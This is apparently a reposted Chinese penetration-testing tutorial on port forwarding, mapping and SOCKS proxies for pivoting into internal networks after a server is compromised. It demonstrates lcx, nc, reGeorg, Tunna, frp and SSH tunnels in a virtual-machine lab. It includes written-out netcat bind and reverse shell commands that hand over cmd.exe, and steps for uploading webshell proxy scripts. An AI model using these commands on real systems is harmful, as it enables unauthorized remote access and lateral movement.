端口转发、映射、代理
端口轉發&端口映射
在實際滲透過程中,我們成功入侵了目標服務器。接著我們想在本機上通過瀏覽器或者其他客戶端軟件訪問目標機器內部網絡中所開放的端口,比如內網的3389端口、內網網站8080端口等等。傳統的方法是利用nc、lcx等工具,進行端口轉發。
0x01 什么是端口轉發
端口轉發就是將一個端口,這個端口可以本機的端口也可以是本機可以訪問到的任意主機的端口,轉發到任意一臺可以訪問到的IP上,通常這個IP是公網IP。
適用端口轉發的網絡環境有以下幾種:
1. 服務器處于內網,可以訪問外部網絡。
2. 服務器處于外網,可以訪問外部網絡,但是服務器安裝了防火墻來拒絕敏感端口的連接。
3. 服務器處于內網,對外只開放了80端口,并且服務器不能訪問外網網絡。
0x02 什么是端口映射
映射端口,就是將一個內網端口映射到公網上的某個端口,假設我自己的電腦是在內網中,沒有公網IP,但是我想提供一個端口供其他人使用,這就是端口映射。
0x03 端口轉發和端口映射的區別
端口映射場景
外網主機A想訪問內網主機B上的服務。
端口轉發場景
外網主機A已經可以任意內網主機B上的端口,但是無法訪問內網主機C上的端口。此時可以將C主機的端口到B主機的端口,那么外網主機A訪問B主機的某某端口就相當于訪問了C主機的某某。
總結
端口轉發和端口映射原理是一樣的只不過是應用場景不一樣,假如我們將本機的端口轉發到遠程主機端口,我們可以叫端口映射,也可以叫端口轉發
如果把本機可以訪問到的任意IP的端口轉發到另外一臺服務器的端口,就叫他端口轉發
0x04 正向連接和反向連接的區別
正向連接:你的機器連接目標機器
反向連接:目標機器反連你的機器
不論映射,還是轉發,都有正有反,原理相同
0x05 環境拓撲圖
?
0x06 LCX
lcx.exe是一個端口轉發工具,有Windows和Linux兩個版本,Windows是lcx,Linux是portmap。
lcx有兩個功能:1、端口轉發(listen和slave);2、端口映射(tran)
1、lcx端口映射
A外網 無法訪問 內網B,B內網 可以訪問 外網A
A:192.168.30.140(外網win10)
B:192.168.30.133(內網xp)
由于是在虛擬機進行實驗,這里把133的防火墻打開,當作內網環境,140的防火墻關閉,當作外網環境,所以正常情況下133能訪問140,而139不能直接訪問133,這是兩臺機器互ping的結果。
1)在內網主機上執行:
lcx.exe -slave 公網主機IP 公網主機端口 內網主機IP 內網主機端口
例如:
lcx.exe -slave 192.168.30.140 4444 127.0.0.1 3389 //把內網主機的3389端口轉發到公網主機的4444端口
2)在公網主機上執行:
lcx.exe -listen 公網主機端口1 公網主機端口2
lcx.exe -tran 公網主機端口1 公網主機端口2
例如:
lcx.exe -listen 4444 5555 //監聽公網主機的4444端口請求,并將來自4444端口的請求傳送給5555端口
lcx.exe -tran 4444 5555 //將接收到的4444端口映射到5555端口
2、lcx端口轉發
A外網 可以訪問 內網B,B內網 可以訪問 內網C,A外網 不能訪問 內網C
A:192.168.30.140(外網win10)
B:192.168.30.133(內網xp)
C:192.168.30.139(內網win7)
在內網主機B上執行:lcx.exe -tran 6666 192.168.30.139 3389
此時訪問B主機上的6666端口就相當于訪問C主機上的3389端口,在主機A開啟遠程連接192.168.30.133:6666
3、portmap
A:192.168.30.137(內網Centos)
B:192.168.30.138(公網Centos)
C:192.168.30.142(攻擊機器)
在具有公網IP的主機B上執行:
./portmap -m 2 -p1 6666 -h2 192.168.30.138 -p2 7777
?
意思是監聽來自6666端口的請求,將其轉發到7777端口
然后在內網主機A上執行:
./portmap 3 -h1 127.0.0.1 -p1 22 -h2 192.168.30.138 -p2 6666
意思是將內網主機22端口的流量轉發到公網主機的6666端口
然后連接到公網主機的7777端口就相當于連接到內網主機的22端口
0x07 nc端口轉發
1、正向連接
A內網 可以訪問 外網B,B外網 無法訪問 內網A
A:192.168.30.133(內網xp)
B:192.168.30.140(外網win10)
在內網主機A執行
nc -l -p 5555 -t -e cmd.exe
在公網主機B執行
nc -nvv 192.168.30.133 5555
2、反向連接
A外網 無法訪問 內網B,B內網 可以訪問 外網A
A:192.168.30.140(外網win10)
B:192.168.30.133(內網xp)
在公網主機上監聽
nc -lvp 6666
在內網主機上執行
nc -t -e cmd.exe 192.168.30.140 6666
?
代理
0x01 什么是代理
代理(Proxy),也稱網絡代理,是一種特殊的網絡服務,允許一個網絡終端(一般為客戶端)通過這個服務與另一個網絡終端(一般為服務器)進行非直接的連接。一些網關、路由器等網絡設備具備網絡代理功能。一般認為代理服務有利于保障網絡終端的隱私或安全,防止攻擊。
0x02 代理類別
http代理、socks代理、ftp代理、telent代理、ssl代理
0x03 正向代理和反向代理的區別
正向代理(Forward Proxy)
Lhost——>proxy——>Rhost
反向代理(reverse proxy)
Lhost<——>proxy<——>firewall<——>Rhost
正向代理中,proxy 和 client 同屬一個 LAN,對 server 透明;
反向代理中,proxy 和 server 同屬一個 LAN,對 client 透明。
一個代理的是客戶端,一個代理的是服務器,實際上proxy在兩種代理中做的事都是代為收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,后者叫做反向代理。
0x04 socks代理工具
1、Earthworm
EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火墻松土。工具包中提供了多種可執行文件,以適用不同的操作系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內。
使用方法:ew穿透
2、Termite
Termite 是EW(EarthWorm)的最新版,多平臺支持、跳板機互聯、正反向級聯、小巧無依賴、內置Shell令主機管理的特點顯得更加方便。
使用方法:http://rootkiter.com/Termite/README.txt
3、reDuh
reDuh也是一款內網滲透利器,這個工具可以把內網服務器的端口通過http/https隧道轉發到本機,形成一個連通回路。用于目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。服務端是個webshell,工具里面針對不同服務器有aspx,php,jsp三個版本,客戶端是java寫的,本機執行最好裝上jdk。、
使用方法:
將代理腳本上傳到目標服務器,在本地訪問代理腳本,驗證腳本情況
在本地執行以下命令
java -jar reDuhClient.jar?http://192.168.30.140/reDuh.phpnc -vv 127.0.0.1 1010[createTunnel]1234:127.0.0.1:3389遠程登錄127.0.0.1:1234就可以連接到內部
4、reGeorg
reGeorg是reDuh的升級版,主要是把內網服務器的端口通過http/https隧道轉發到本機,形成一個回路。用于目標服務器在內網或做了端口策略的情況下連接目標服務器內部開放端口。它利用webshell建立一個socks代理進行內網穿透,服務器必須支持aspx、php或jsp這些web程序中的一種。
使用方法:
上傳對應服務器腳本到目標主機的服務器,我選擇的是php
訪問會顯示“Georg says, 'All seems fine'”,表示腳本運行正常,之后就是運行reGeorg監聽指定端口,如:
reGeorgSocksProxy.py -p 8888 -u?http://192.168.30.140/tunnel.nosocket.php
接下來配置proxifier,設置代理127.0.0.1:8888 socks5,規則默認即可,右鍵使用proxy socks5 127.0.0.1去打開遠程桌面,輸入內網IP,此時環境是同在一個內網,所以可以成功連接。
5、sSocks
sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支持socks5驗證,支持IPV6和UDP,并提供反向socks代理服務,即將遠程計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.14。
使用方法:
下載解壓后,編譯
./configure && make
編譯完成,進入src目錄,會發現有nsocks、ssocksd、ssocks、rcsocks
其功能說明介紹如下:
程序功能:
nsocks 類似通過Socks5代理后的netcat,可用來測試socks server ssocksd 用來開啟Socks5代理服務 ssocks 本地啟用Socks5服務,并反彈到另一IP地址 rcsocks 接收反彈過來的Socks5服務,并轉向另一端口
公網主機上執行:
./rcsocks -l 1080 -p 5555 -vv
內網主機上執行:
./rssocks –vv –s 公網主機ip:5555
這時本地主機可以通過訪問公網主機的 1080 端口訪問內網主機,或者使用各種socks代理工具配置代理即可
6、proxychains
Proxychains是一款在Linux下可以實現全局代理的軟件,性能相當穩定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。
7、Tunna
Tunna這個工具使用起來也特方便,腳本的編寫也是基于Python2版本。運用的時候也需要我們把代理腳本上傳到目標服務器,然后通過代理內網的某個端口,注意這個工具只能代理一個端口,有點局限性。但是我們可以代理3389、22、3306、1433等敏感端口,然后將敏感端口流量轉發了外網的的某個端口,我們再通過本地連接外網的端口進行連接,這樣的話我們就可以使用了。
第一步:上傳對應服務器腳本到目標主機的服務器,我選擇的是php
第二步:運行proxy.py 并指定端口
python proxy.py -u?http://192.168.30.140/conn.php?-l 1234 -r 3389 -v
第三步:遠程連接127.0.0.1:1234
8、frp
frp 是一個可用于內網穿透的高性能的反向代理應用,支持 tcp, udp, http, https 協議。
服務端
修改服務端的部署文件 frps.ini
將?frps.ini 及frps.exe?上傳到公網機器上,以管理員的身份cmd到其目錄下,運行如下的命令
frps -c frps.ini
看到下圖就運行成功了
不要忘記在防火墻將相關的端口打開,不然會報錯,或者是訪問不了
這樣服務端就部署成功了,可以訪問 dashboard查看監控信息。
服務端的這個命令行窗口不要關,關了服務就掛了
客戶端
修改客戶端的部署文件 frpc.ini
[common] server_addr = xx.xx.xx.xx #你的公網機器的ip地址 server_port = 7000[ssh] type = tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 6000將 frpc.ini 及frpc.exe 放到本地機器上,以管理員的身份cmd到其目錄下,運行如下的命令
frpc -c frpc.ini
服務器端對應的端口也要打開,然后這個cmd窗口不能關,不然服務就終止了,這個是下面開機自啟動要解決的問題。為了支持遠程訪問,window下的允許遠程訪問要打開。
最后就可以愉快的用原生的遠程桌面訪問機器了
0x05 ssh隧道代理轉發
ssh有三個強大的端口轉發命令,分別是本地轉發、遠程轉發、動態轉發。
參數詳解
-q Quiet mode. 安靜模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后臺運行,并推薦加上 -n 參數 -N Do not execute a remote command. 不執行遠程命令,端口轉發就用它了 -L port:host:hostport 將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport -R port:host:hostport 將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport -D port 指定一個本地機器 “動態的’’ 應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS協議, 將充當SOCKS服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發.1、ssh本地轉發
本地訪問127.0.0.1:port1就是host:port2
ssh -CfNg -L port1:127.0.0.1:port2 user@host //本地轉發
應用場景:
遠程管理服務器上的mysql,mysql不能直接root遠程登陸。這時候就可以通過本地轉發,通過ssh將服務器的3306端口轉發到本地1234端口
ssh -CfNg -L 1234:127.0.0.1:3306?root@192.168.30.133?//本地轉發
2、ssh遠程轉發
訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host //遠程轉發
應用場景:
內網的服務器,外網不能直接訪問,使用遠程轉發,將內網的服務器端口轉發到外網端口。這時候訪問外網的端口,就訪問到了內網的端口
ssh -CfNg -R 81:127.0.0.1:80?root@192.168.30.133?//遠程轉發
3、dmz_host的hostport端口通過remote_ip轉發到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip //正向隧道,監聽本地port
4、dmz_host的hostport端口轉發到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip //反向隧道,用于內網穿透防火墻限制之類
5、socket動態轉發socks代理
ssh -qTfnN -D 1080?root@192.168.30.133
之后和proxychains搭配工具一起使用
0x06 內網穿透平臺
ngrok、natapp等
總結
以上是生活随笔為你收集整理的端口转发、映射、代理的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java编译器:Javac
- 下一篇: 人脉关系